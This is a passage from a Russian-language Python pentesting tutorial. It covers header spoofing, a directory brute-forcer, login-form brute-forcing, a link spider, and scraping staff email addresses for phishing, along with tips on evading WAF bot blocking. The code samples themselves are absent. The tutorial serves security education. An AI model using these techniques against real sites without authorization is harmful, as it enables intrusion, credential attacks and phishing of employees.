    Чтобы обойти это ограничение, пентестеры используют спуфинг (spoofing — подмена) заголовков. Мы можем передать библиотеке requests свой собственный словарь с заголовками, притворившись обычным пользователем.

    В этом примере мы не только притворились мобильным устройством Apple, но и добавили заголовок Accept-Language, сообщив серверу, что предпочитаем русский язык. Если сайт мультиязычный, он вернет нам русскую версию страницы.

    Практика: Создание сканера скрытых директорий

    Теперь применим полученные знания для создания реальной хакерской утилиты.

    Часто разработчики оставляют на серверах файлы, которые не связаны ссылками с главной страницей. Это могут быть старые резервные копии (backup.zip), панели администратора (/admin, /controlpanel) или тестовые скрипты (test.php). Если на страницу нет ссылки, обычный пользователь ее не найдет. Но сервер-то ответит, если обратиться к ней напрямую!

    Процесс автоматического перебора путей называется Directory Brute-forcing (брутфорс директорий). Существуют популярные утилиты вроде DirBuster или Gobuster, но мы напишем свою.

    Логика работы нашего скрипта:

  • Взять базовый URL (например, http://target.com).
  • Открыть текстовый файл со словарем (списком популярных названий скрытых папок).
  • В цикле подставлять каждое слово из словаря к базовому URL (http://target.com/admin, http://target.com/backup и т.д.).
  • Отправлять GET-запрос по сформированному адресу.
  • Проверять статус-код. Если сервер вернул 200 OK, значит, скрытая страница существует! Если 404 Not Found — идем дальше.
  • Этот скрипт — полноценный рабочий инструмент. В реальном пентесте используются словари, содержащие десятки тысяч строк (например, знаменитый словарь common.txt из набора SecLists).

    Отправка данных: POST-запросы и формы

    Поиск скрытых страниц — это разведка. Но что делать, если мы нашли панель администратора (/admin/login.php) и хотим проверить ее на устойчивость к перебору паролей?

    Для отправки данных в формы используется метод POST. В библиотеке requests для этого есть функция requests.post(). Данные, которые мы хотим отправить, оформляются в виде обычного словаря Python и передаются в параметр data.

    Рассмотрим пример скрипта, который пытается авторизоваться на сайте, отправляя логин и пароль.

    В этом примере мы затронули важную концепцию: анализ ответа. Сервер почти всегда возвращает статус 200 OK на POST-запрос формы входа, независимо от того, правильный пароль или нет. Сервер успешно принял данные, успешно проверил их и успешно вернул вам HTML-страницу с надписью «Ошибка входа». Поэтому при брутфорсе форм мы ориентируемся не на статус-коды, а на содержимое страницы (response.text).

    В следующих статьях мы углубимся в анализ содержимого веб-страниц. Мы научимся парсить HTML-код, извлекать из него скрытые токены безопасности, собирать email-адреса сотрудников для социоинженерии и писать скрипты для автоматического веб-скрейпинга.

    9. Парсинг веб-страниц для сбора информации

    Парсинг веб-страниц для сбора информации

    В предыдущих материалах мы научились общаться с веб-серверами на языке HTTP. Мы отправляли GET-запросы, подменяли заголовки для обхода базовой защиты и анализировали статус-коды для поиска скрытых директорий. Результатом успешного запроса всегда был ответ сервера, содержащий тело — сырой HTML-код страницы.

    Для компьютера этот код — просто гигантская строка текста, состоящая из тысяч символов. Если наша цель — найти на корпоративном сайте один конкретный email-адрес администратора или собрать все скрытые ссылки, читать этот код глазами неэффективно. Нам нужен автоматизированный способ извлекать структурированные данные из неструктурированного текста. Этот процесс называется парсингом (или веб-скрейпингом).

    В контексте тестирования на проникновение (пентеста) парсинг — это основа этапа разведки (OSINT — Open Source Intelligence). С помощью самописных скриптов хакеры собирают списки сотрудников для фишинговых атак, выкачивают каталоги товаров для поиска скрытых параметров и составляют карту сайта (паутину ссылок), чтобы понять масштаб цели.

    Анатомия веб-страницы: HTML и DOM-дерево

    Прежде чем писать код для извлечения данных, нужно понять, как эти данные хранятся. Язык разметки HTML (HyperText Markup Language) — это скелет любого сайта. Он не является языком программирования; это набор инструкций для браузера о том, как отображать текст и картинки.

    HTML состоит из тегов — специальных ключевых слов, заключенных в угловые скобки. Теги обычно работают в парах (открывающий и закрывающий) и оборачивают контент.

    Помимо имени, теги могут содержать атрибуты — дополнительные свойства, которые уточняют поведение элемента. Для нас, как для разработчиков парсеров, атрибуты — это главные «маячки», по которым мы будем искать нужную информацию.

    Самые важные атрибуты: * href — содержит URL-адрес ссылки (используется в тегах <a>). * src — содержит путь к изображению или скрипту (используется в тегах <img>, <script>). * class — имя класса, объединяющее группу элементов с одинаковым дизайном. * id — уникальный идентификатор конкретного элемента на странице.

    Когда браузер (или наш Python-скрипт) скачивает HTML-код, он выстраивает из этих тегов строгую иерархию, которая называется DOM-деревом (Document Object Model).

    Представьте себе русскую матрешку. Самая большая матрешка — это тег <html>. Внутри нее лежат две матрешки поменьше: <head> (служебная информация) и <body> (видимая часть сайта). Внутри <body> лежат блоки <div>, внутри которых прячутся абзацы <p> и ссылки <a>.

    !Структура DOM-дерева: как браузер и парсер видят веб-страницу

    Чтобы достать самую маленькую матрешку (например, ссылку на панель управления), нашему скрипту нужно уметь перемещаться по этому дереву, открывая слой за слоем.

    Знакомство с BeautifulSoup

    Теоретически, мы могли бы искать нужные куски текста с помощью стандартных строковых методов Python (например, split() или find()) или использовать регулярные выражения. Но HTML-код часто бывает «грязным»: разработчики забывают закрывать теги, ставят лишние пробелы или меняют порядок атрибутов. Регулярные выражения ломаются при малейшем изменении структуры страницы.

    Поэтому в Python стандартом де-факто для парсинга является сторонняя библиотека BeautifulSoup (часто сокращают до BS4). Она берет на себя всю грязную работу: проглатывает даже кривой HTML-код, строит из него аккуратное DOM-дерево и дает нам простые команды для поиска по нему.

    Для начала установим библиотеку через терминал:

    Базовый рецепт парсинга

    Процесс сбора данных всегда состоит из трех шагов:

  • Получить HTML-код страницы (используем уже знакомую библиотеку requests).
  • Передать этот код в BeautifulSoup, чтобы сварить «суп» (создать объект DOM-дерева).
  • Найти нужные элементы с помощью методов библиотеки.
  • Рассмотрим базовый пример:

    Обратите внимание на свойство .text. Если мы просто выведем soup.title, Python напечатает <title>Example Domain</title>. Добавление .text отсекает HTML-теги, оставляя только чистую информацию, предназначенную для человека.

    Методы поиска: find() и find_all()

    Прямое обращение через точку (soup.title) работает только для уникальных тегов, которые встречаются на странице один раз. Но что, если на странице сто ссылок, а нам нужны все? Для этого существуют два главных метода.

    Метод find()

    Ищет первое совпадение на странице сверху вниз и останавливается. Возвращает один объект (или None, если ничего не найдено).

    Метод find_all()

    Ищет все совпадения на странице и возвращает их в виде списка (точнее, специального объекта ResultSet, который работает как список). По этому списку можно пройтись циклом for.

    !Интерактивный тренажёр CSS-селекторов и поиска элементов в DOM-дереве

    Практика пентеста: Создание экстрактора ссылок (Spider)

    Одной из первых задач при аудите безопасности веб-приложения является составление его карты. Пентестеру нужно найти все страницы сайта, включая те, на которые нет прямых ссылок в главном меню. Программы, которые автоматически переходят по ссылкам и собирают их, называются пауками (Spiders) или краулерами (Crawlers).

    Напишем базовую версию такого инструмента. Наша задача — зайти на страницу, найти все теги <a> и извлечь из них атрибут href.

    > Важное правило: чтобы получить значение атрибута (а не текст между тегами), используется метод .get('имя_атрибута').

    Этот скрипт — фундамент для создания полноценного краулера. В реальных утилитах собранные ссылки добавляются в очередь, и скрипт рекурсивно переходит по каждой из них, собирая новые ссылки, пока не обойдет весь сайт.

    Практика пентеста: Сбор email-адресов для социоинженерии

    Вторая классическая задача разведки — сбор контактных данных. Если пентестер планирует провести учебную фишинговую рассылку или попытаться подобрать пароли к корпоративной почте (Brute-force), ему нужен словарь логинов.

    Компании часто публикуют адреса сотрудников на страницах «О нас» или «Контакты». Вручную копировать сотни адресов долго. Оценим математику ручного труда:

    Где — общее время, — количество страниц (например, 50 профилей сотрудников), а — время на обработку одной страницы (допустим, 30 секунд). Итого: секунд, или 25 минут скучной работы. Скрипт сделает это за 2 секунды.

    Email-адреса на сайтах часто оформляются в виде кликабельных ссылок с протоколом mailto:. Пример: <a href="mailto:admin@corp.com">Написать админу</a>.

    Напишем парсер, который ищет именно такие ссылки:

    Продвинутый поиск: CSS-селекторы

    Иногда структура сайта настолько сложна, что комбинации find() и find_all() становятся громоздкими. Например, нам нужно найти текст внутри тега <span>, который лежит внутри <div> с классом user-card, который в свою очередь лежит в <section> с id employees.

    Для таких случаев в BeautifulSoup есть метод .select(), который позволяет искать элементы так же, как к ним обращаются веб-дизайнеры в CSS-файлах.

    * Поиск по тегу: soup.select('p') * Поиск по классу (точка): soup.select('.user-card') * Поиск по ID (решетка): soup.select('#employees') * Вложенный поиск (пробел): soup.select('#employees .user-card span')

    Метод .select() всегда возвращает список элементов, аналогично find_all().

    Ограничения парсинга и этика

    Важно понимать границы применимости связки requests + BeautifulSoup.

  • Динамический контент (JavaScript): requests скачивает только исходный HTML-код. Если сайт пустой, а данные подгружаются позже с помощью JavaScript (как в современных приложениях на React или Vue), BeautifulSoup их не увидит. Для таких сайтов пентестеры используют инструменты автоматизации браузера, такие как Selenium или Playwright, которые мы изучим позже.
  • Защита от ботов (WAF): Если вы будете отправлять 100 запросов в секунду, сервер быстро поймет, что вы не человек, и заблокирует ваш IP-адрес. Всегда используйте задержки между запросами (модуль time, функция time.sleep(1)) и подменяйте заголовок User-Agent.
  • Файл robots.txt: Уважающие себя краулеры (например, боты Google) перед сканированием сайта проверяют файл http://example.com/robots.txt. В нем администраторы указывают, какие разделы сайта запрещено парсить. В легальном пентесте (White-box) игнорирование этого файла может нарушить условия договора, а в реальной атаке (Black-box) — наоборот, именно в robots.txt хакеры ищут скрытые директории.
  • В следующей статье мы перейдем от сбора информации к активным действиям и научимся писать скрипты для автоматической эксплуатации уязвимостей и создания реверс-шеллов.